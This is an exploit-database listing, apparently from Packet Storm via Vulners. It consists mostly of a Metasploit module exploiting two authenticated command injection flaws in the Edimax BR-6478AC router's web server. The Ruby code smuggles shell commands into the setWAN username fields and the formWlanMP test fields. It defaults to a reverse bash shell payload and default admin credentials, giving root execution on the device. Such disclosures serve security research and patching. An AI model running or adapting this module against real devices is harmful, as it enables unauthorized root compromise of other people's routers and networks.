Lucene search
+L

Edimax BR-6478AC 2.20 Authenticated Command Injection

🗓️ 04 Nov 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 11 Views

Authenticated OS command injection in Edimax BR-6478AC web server.

Code
==================================================================================================================================
| # Title     : Edimax BR-6478AC 2.20 Authenticated Command Injection                                                            |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.edimax.com/edimax/global                                                                             |
==================================================================================================================================

[+] Summary : Edimax BR-6478AC firmware v2.20 contains two authenticated OS command injection vulnerabilities in the shipped web server (bin/webs, MIPS big-endian, uClibc

[+] POC    : 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Edimax BR-6478AC v2.20 Authenticated Command Injection',
      'Description'    => %q{
        Edimax BR-6478AC firmware v2.20 contains two authenticated OS command
        injection vulnerabilities in the shipped web server (bin/webs, MIPS
        big-endian, uClibc):

        1. SETWAN - POST /goform/setWAN with wanMode=2 (or 3 or 6) passes
           pppUserName (or pptpUserName / L2TPUserName) through a single
           semicolon scan, then sprintf into "echo %s > /tmp/UserName" and
           system(). A payload without ';' (e.g. "|cmd > marker #") reaches the
           shell untouched and comments out the sink's own redirect.

        2. FORMWLANMP - POST /goform/formWlanMP passes 30 ATE/EEPROM form
           fields through sprintf into "/bin/rftest_old.sh %s %s ..." and
           system(), with no filtering at all. A command substitution
           "$(cmd > marker)" executes before the (missing) script is resolved.

        Both handlers require HTTP Basic authentication. webs runs as root per
        the shipped boa.conf 'User root' directive, so the injected command
        executes with uid=0.
      },
      'Author'         => [ 'indoushka' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'URL', 'https://seclists.org/fulldisclosure/2026/Oct/63' ],
        [ 'CWE', 'CWE-78' ]
      ],
      'DisclosureDate' => '2026-10-28',
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Unix Command', {}]],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
    ))

    register_options([
      Opt::RPORT(80),
      OptBool.new('SSL', [false, 'Use SSL', false]),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'HTTP Basic username', 'admin']),
      OptString.new('PASSWORD', [true, 'HTTP Basic password', '1234']),
      OptEnum.new('HANDLER', [true, 'Vulnerable handler', 'SETWAN', ['SETWAN', 'FORMWLANMP']]),
      OptString.new('WANMODE', [true, 'wanMode (2=PPP, 3=PPTP, 6=L2TP)', '2']),
      OptString.new('MARKER', [true, 'On-device marker path',
                              '/tmp/edimax-br6478ac-marker']),
      OptString.new('SUBMIT_URL', [true, 'submit-url form field value', '/wan.asp']),
      OptInt.new('TIMEOUT', [true, 'Per-request timeout in seconds', 8])
    ])
  end
  FORMWLANMP_FIELDS = %w[
    ateFunc ateGain ateTxCount ateChan ateRate ateMacID
    e2pTxPower1 e2pTxPower2 e2pTxPower3 e2pTxPower4 e2pTxPower5
    e2pTxPower6 e2pTxPower7
    e2pTx2Power1 e2pTx2Power2 e2pTx2Power3 e2pTx2Power4
    e2pTx2Power5 e2pTx2Power6 e2pTx2Power7
    ateTxFreqOffset ateMode ateBW ateAntenna e2pTxFreqOffset
    e2pTxPwDeltaB e2pTxPwDeltaG e2pTxPwDeltaMix e2pTxPwDeltaN
    readE2P
  ]

  BENIGN_VALUES = {
    'ateFunc' => '11b', 'ateGain' => '1', 'ateTxCount' => '100',
    'ateChan' => '6', 'ateRate' => '11', 'ateMacID' => '1',
    'ateTxFreqOffset' => '0', 'ateMode' => '1', 'ateBW' => '1',
    'ateAntenna' => '1', 'e2pTxFreqOffset' => '0', 'readE2P' => '0'
  }

  WANMODE_FIELDS = {
    '2' => 'pppUserName',
    '3' => 'pptpUserName',
    '6' => 'L2TPUserName'
  }
  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'wan.asp')
    }, datastore['TIMEOUT'])

    return Exploit::CheckCode::Unknown unless res

    if res.code == 200 || res.code == 401
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end
  def exploit
    case datastore['HANDLER']
    when 'SETWAN'      then exploit_setwan
    when 'FORMWLANMP'  then exploit_formwlanmp
    end
  end
  def exploit_setwan
    mode = datastore['WANMODE']
    unless WANMODE_FIELDS.key?(mode)
      fail_with(Failure::BadConfig, "WANMODE must be 2, 3 or 6 (got #{mode})")
    end
    field   = WANMODE_FIELDS[mode]
    marker  = datastore['MARKER']
    payload_value = "|#{payload.encoded} > #{marker} #"

    print_status("Handler    : SETWAN (wanMode=#{mode}, field=#{field})")
    print_status("Payload    : #{payload_value}")
    print_status("Sink       : sprintf(\"echo %s > /tmp/UserName\") -> system()")
    print_status("'#' comments out the sink's own redirect; '|' starts a pipeline")

    fields = {
      'wanMode'     => mode,
      field         => payload_value,
      'submit-url'  => datastore['SUBMIT_URL']
    }
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'goform', 'setWAN'),
      'ctype'     => 'application/x-www-form-urlencoded',
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'vars_post' => fields
    }, datastore['TIMEOUT'])

    handle_response(res, marker)
  end
  def exploit_formwlanmp
    marker  = datastore['MARKER']
    field   = 'ateFunc'
    payload_value = "$(#{payload.encoded} > #{marker} 2>&1)"

    print_status("Handler    : FORMWLANMP (field=#{field})")
    print_status("Payload    : #{payload_value}")
    print_status("Sink       : sprintf(\"/bin/rftest_old.sh %s %s ...\" x30) -> system()")
    print_status("No filtering at all; command substitution runs before script lookup")

    fields = {}
    FORMWLANMP_FIELDS.each do |name|
      fields[name] = (name == field) ? payload_value : BENIGN_VALUES.fetch(name, '')
    end
    fields['submit-url'] = datastore['SUBMIT_URL']

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'goform', 'formWlanMP'),
      'ctype'     => 'application/x-www-form-urlencoded',
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'vars_post' => fields
    }, datastore['TIMEOUT'])

    handle_response(res, marker)
  end
  def handle_response(res, marker)
    unless res
      fail_with(Failure::Unreachable, 'No response from target')
    end
    print_status("HTTP #{res.code} (body: #{res.body.to_s.bytesize} bytes)")
    case res.code
    when 401
      fail_with(Failure::NoAccess, 'HTTP Basic credential rejected by the gate')
    when 301, 302, 303, 307, 308
      location = res.headers['Location'] || res.headers['location'] || ''
      print_warning("Redirected to #{location}")
      print_warning('If redirected to /index.asp, the request was not dispatched to the handler')
    when 200..299
      print_good('Request dispatched to the handler')
    end
    print_status('On the device, the injected command runs as root (webs runs with uid=0)')
    print_status("Read the marker at #{marker} via a second authenticated request,")
    print_status('a serial console, or SSH to confirm execution')
  end
end
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Nov 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
11